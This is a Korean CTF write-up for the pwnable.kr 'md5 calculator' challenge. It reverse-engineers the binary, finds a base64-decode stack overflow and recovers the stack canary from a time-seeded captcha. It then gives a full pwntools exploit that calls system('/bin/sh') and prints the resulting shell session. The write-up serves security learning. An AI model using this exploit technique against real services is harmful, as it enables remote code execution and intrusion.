-
[pwnable.kr] md5 calculator 본문
remote
: nc pwnable.kr 9002
ctpyes라는 모듈의 존재를 알게해 준 문제.
outline
[*] '/home/minibeef/pwnable.kr/md5-calculator/hash'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 비트, Canary, NX bit 유의하도록 하자
바이너리 행동 분석
minibeef@argos-edu:~/pwnable.kr/md5-calculator$ nc pwnable.kr 9002
- Welcome to the free MD5 calculating service -
Are you human? input captcha : -618620116
123
wrong captcha!
?
다짜고짜 사람이냐고 물어본다. 그러고선 뭔가를 입력할 수 있는데 123을 입력하니 wrong captcha가 나오면서 프로그램이 종료된다. 여기서 captcha
가 뭘까..? 라고 곰곰히 생각해봤는데, 웹 사이트에서 무단 크롤링을 막기 위해 설치해놓은 봇 방지 시스템(신호등, 자동차 등이 있는 타일 누르는거)이 생각났다. 처음에 사람이냐고 물어본거랑 매치해보면 정황상 "captcha : " 뒤에 있는 숫자를 똑같이 넣어야 통과한다.
minibeef@argos-edu:~/pwnable.kr/md5-calculator$ nc pwnable.kr 9002
- Welcome to the free MD5 calculating service -
Are you human? input captcha : 342049421
342049421
Welcome! you are authenticated.
Encode your data with BASE64 then paste me!
123
MD5(data) : 693e9af84d3dfcc71e640e005bdc5e2e
Thank you for using our service.
그래서 알려주는 숫자를 똑같이 넣어봤다. 아니나 다를까, 다음 입력받을 수 있는 뭔가가 또 실행된다. 읽어보니 내가 넣은 문자열을 base64 decode -> md5
해서 출력해주는 것이 아닐까 라고 생각이 든다.
그럼 이 문제 바이너리가 하는 행동에 대해서는 모두 파악이 되었다. 여기서 추가적으로 고민을 좀 더 해보면, 사용자가 값을 입력하는 기회는 총 두번(즉, untrusted input
이 들어온다.. 이점 유의)이며 처음에는 무조건 captcha
를 입력해서 내가 사람임을 증명해야 한다.
그럼 결론을 내보면, 만약 이 문제가 Memory Exploit
문제라면? -> 두번째 입력에서 취약점이 무조건 터져야 하며 처음 입력은 pwntool
의 recv
로 받아서 send
해야 한다는 것.. 일단은 굉장히 많은 정보를 얻어냈다. 이제 취약점을 찾아보자!
-
untrusted input
은 총 두번 -
처음에는 무조건
captcha
를 따라 입력(recv
활용) -
그럼 취약점은 무조건 두번째 입력에서 터진다.
서브 루틴 분석
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
int v5; // [sp+18h] [bp-8h]@1
int v6; // [sp+1Ch] [bp-4h]@1
setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5); // input captha
if ( v6 != v5 ) // is correct captcha?
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
IDA로 hex-ray했다. 역시 서브 루틴 분석은 main부터 보는 것이 국룰아닌가 싶다. 소스에 줄 번호를 넣고 싶었지만 방법을 모른다.. 혹시라도 이 글을 보는 사람이 있다면 죄송하다. 개인 정리용이다 ㅎㅎ
뭐부터 볼까 고민하다가 바이너리 행동을 분석했을 때 알아낸 정보가 있으니 두번의 untrusted input
을 찾기로 했다. 우선 처음 입력은 "Are you human? ..."
이후에 __isoc99_scanf
가 v5 변수에 받는다. 그런다음 v6과 비교하는데, 이 부분이 아까 captcha
를 확인하는 부분이 아닐까 싶다. 그럼 일단 주석 달고 패스
더 밑으로 내려가 살펴봤는데 두번째 입력을 받는 부분이 없다. 얘가 제일 중요한데.. 아까 두번째 입력을 받을 때 바로 윗줄에 있는 출력문이 뭐였는지 생각해보면 process_hash()
가 두번째 untrusted input
을 받는 녀석이라는걸 인지할 수 있다. 우리는 위에서 두번째 입력을 받는 놈이 취약하다! 는 것을 알아내었으니 취약점이 있을 것으로 보이는 process_hash()
로 달려가보자
process_hash()
int process_hash()
{
int v0; // ST14_4@3
void *ptr; // ST18_4@3
char buffer; // [sp+1Ch] [bp-20Ch]@1
int canary; // [sp+21Ch] [bp-Ch]@1
canary = *MK_FP(__GS__, 20);
memset(&buffer, 0, 512u);
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(&buffer, 0, 512u);
v0 = Base64Decode(g_buf, (int)&buffer);
ptr = (void *)calc_md5(&buffer, v0);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return *MK_FP(__GS__, 20) ^ canary;
}
코드를 붙여넣으면서 깨달았는데 변수 buffer
랑 canary
는 내가 분석하면서 rename한거다. 실제 바이너리는 저렇게 안써있고 분석해야 한다.
일단 도입부에 stack canary
를 만들어준다. 얘는 [ebp-0xc]에 들어가고, exploit 할 때 만날 놈이니 일단 패스.
그 다음 buffer
를 512 bytes 할당해주고(memset), g_buf
라는 녀석이 등장하고 여기다가는 1024 bytes를 할당해준다(정확히 말하면 0으로 초기화지만...) g_buf
는 전역변수다. IDA
에서 더블클릭하면 bss
에 있다고 친절하게 나온다.
.bss:0804B0E0 ; char g_buf[1024]
.bss:0804B0E0 g_buf db 400h dup(?) ; DATA XREF: process_hash+39o
.bss:0804B0E0 ; process_hash+5Fo ...
.bss:0804B0E0 _bss ends
그런 다음에는 Base64Decode()
에 g_buf
랑 buffer
가 들어가는 것을 볼 수 있다. 서로 다른 크기의 변수 두개가 어디로 들어간다... 뭔가 야시꾸리한 냄새가 난다. 왜냐하면 뒤에는 취약점이 터질 껀덕지가 없기 때문에 내 생각이 맞다면 Base64Decode()
가 이 문제를 푸는 키 일 것이다.
base64Decode()
int __cdecl Base64Decode(const char *a1, int a2)
{
int v2; // ST2C_4@1
FILE *stream; // ST34_4@1
int v4; // eax@1
int v5; // ST38_4@1
int v6; // eax@1
int v7; // ST3C_4@1
v2 = calcDecodeLength(a1);
stream = (FILE *)fmemopen(a1, strlen(a1), &unk_8049272);
v4 = BIO_f_base64();
v5 = BIO_new(v4);
v6 = BIO_new_fp(stream, 0);
v7 = BIO_push(v5, v6);
BIO_set_flags(v7, 256);
*(_BYTE *)(a2 + BIO_read(v7, a2, strlen(a1))) = 0;
BIO_free_all(v7);
fclose(stream);
return v2;
}
처음보는 함수들이 가득하다. 여기 부분은 사실 모르는 함수들의 reference만 빠르게 훅훅 넘어가고 기능 파악만 했기 때문에 자세히 설명은 어렵다(귀찮다) 대충 요약해보면 첫번째 인자(g_buf
)를 Base64 디코딩하여 그 결과 값을 두번째 인자(buffer
)에 넣어준다는 내용이다.
그런데, g_buf
의 크기는 buffer
보다 두배나 커서 아무리 Base64의 영향으로 길이가 달라져도 버퍼를 넘쳐버리는 Buffer Overflow가 발생할 수 밖에 없다.
이제 그럼 다 끝났다! 라고 생각할 수도 있지만, 우리에겐 canary
우회가 남아있다(...) 어떻게 leak을 할까 고민하다가 my_hash()
함수를 봤는데 이를 우회할 단서를 찾아냈다.
my_hash()
int my_hash()
{
int result; // eax@4
int v1; // edx@4
signed int i; // [sp+0h] [bp-38h]@1
char v3[32]; // [sp+Ch] [bp-2Ch]@2
int v4; // [sp+10h] [bp-28h]@4
int v5; // [sp+14h] [bp-24h]@4
int v6; // [sp+18h] [bp-20h]@4
int v7; // [sp+1Ch] [bp-1Ch]@4
int v8; // [sp+20h] [bp-18h]@4
int v9; // [sp+24h] [bp-14h]@4
int v10; // [sp+28h] [bp-10h]@4
int canary; // [sp+2Ch] [bp-Ch]@1
canary = *MK_FP(__GS__, 20);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v3[4 * i] = rand();
result = v7 - v9 + v10 + canary + v5 - v6 + v4 + v8; // bypass canary
v1 = *MK_FP(__GS__, 20) ^ canary;
return result;
}
얘는 아까 처음에 captcha
를 만들어주는 함수인데, 왜그랬는지는 모르겠지만 captcha
를 만들 때 canary
를 사용한다(정확히는 gs:0x14를 쓴거겠지,,) 핵심만 말하면 처음에 recv
로 받아놓은 captcha
값에 random
으로 생성한 값을 더하고 빼주면 canary
를 알아낼 수 있다.
조금더 부연설명 해보자면, captcha
를 만들 때 쓰이는 변수(v4~v10)들을 역으로 더하고 빼주면 canary
값만 남게된다(v7은 빼고, v9는 더하고... 이렇게 소거한다는 뜻)
v4부터 v10은 바로 위에를 보면 난수를 발생시켜 만든다. 그래서 처음에 captcha
가 계속 바뀌었던 것이다. 그럼 어떻게 이 값들을 알아내냐? main()
을 보면 난수를 발생시키는 seed를 time(0)으로 설정한다. 그렇기 때문에 바이너리를 실행시키는 시간만 안다면 pwntool에서 똑같이 난수를 발생시켜 더하고 빼면 된다.
Exploit
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
system_addr = 0x08048880
bss = 0x0804b0e0
# using c-style random
c = CDLL(find_library('c'))
c.srand(c.time(0))
p = remote('pwnable.kr', 9002)
# pass main function & recv captcha
p.recvuntil('captcha : ')
captcha = p.recvline()[:-1]
p.sendline(captcha)
# leak canary
arr_random = list()
for i in range(8):
arr_random.append(c.rand())
canary = (int(captcha) - arr_random[4] + arr_random[6] - arr_random[7] - arr_random[2] + arr_random[3] - arr_random[1] - arr_random[5]) & 0xffffffff
# exploit
payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(bss + len(base64.b64encode(payload)) + 4)
payload = base64.b64encode(payload)
payload += '/bin/sh\x00'
p.sendline(payload)
p.interactive()
자세한 설명은 주석 참조. 그런데 payload에 ctypes라는 놈이 껴있다(???). 얘는 c 스타일로 함수라던가 라이브러리를 부를 수 있게 도와주는 모듈이다. 처음알았는데 python과 c가 난수를 발생시키는 방법이 다르다고 한다(ㅎㅎ) 그것도 모르고 완전완전 뻘짓하다가 겨우 알아냈다.
canary
가볍게 패스해주시고, system@plt
넣어 주시고 /bin/sh
는 어떻게 넣었냐?? 하면 그냥 bss에 썼다. payload를 입력 받는 변수는 g_buf
였고, 얘는 bss
에 있기 때문에 payload 써주고 마지막에 /bin/sh
넣어주고 system
의 인자로 bss
상의 위치를 잘 전달하면 끝!
minibeef@argos-edu:~/pwnable.kr/md5-calculator$ python hash-exploit.py
[+] Opening connection to pwnable.kr on port 9002: Done
[*] Switching to interactive mode
Welcome! you are authenticated.
Encode your data with BASE64 then paste me!
MD5(data) : f9cf9f3de47127de0e922b45a2a33883
$ ls
flag
log
log2
md5calculator
super.pl
$ cat flag
Canary, Stack guard, Stack protector.. what is the correct expression?
'Write-up > pwn' 카테고리의 다른 글
[pwnable.kr] passcode (0) | 2020.08.29 |
---|---|
[TG:HACK 2020] Chunk Norris (0) | 2020.07.22 |
[pwnable.kr] bof (0) | 2020.07.22 |
[DawgCTF 2020] bof to the top (0) | 2020.07.22 |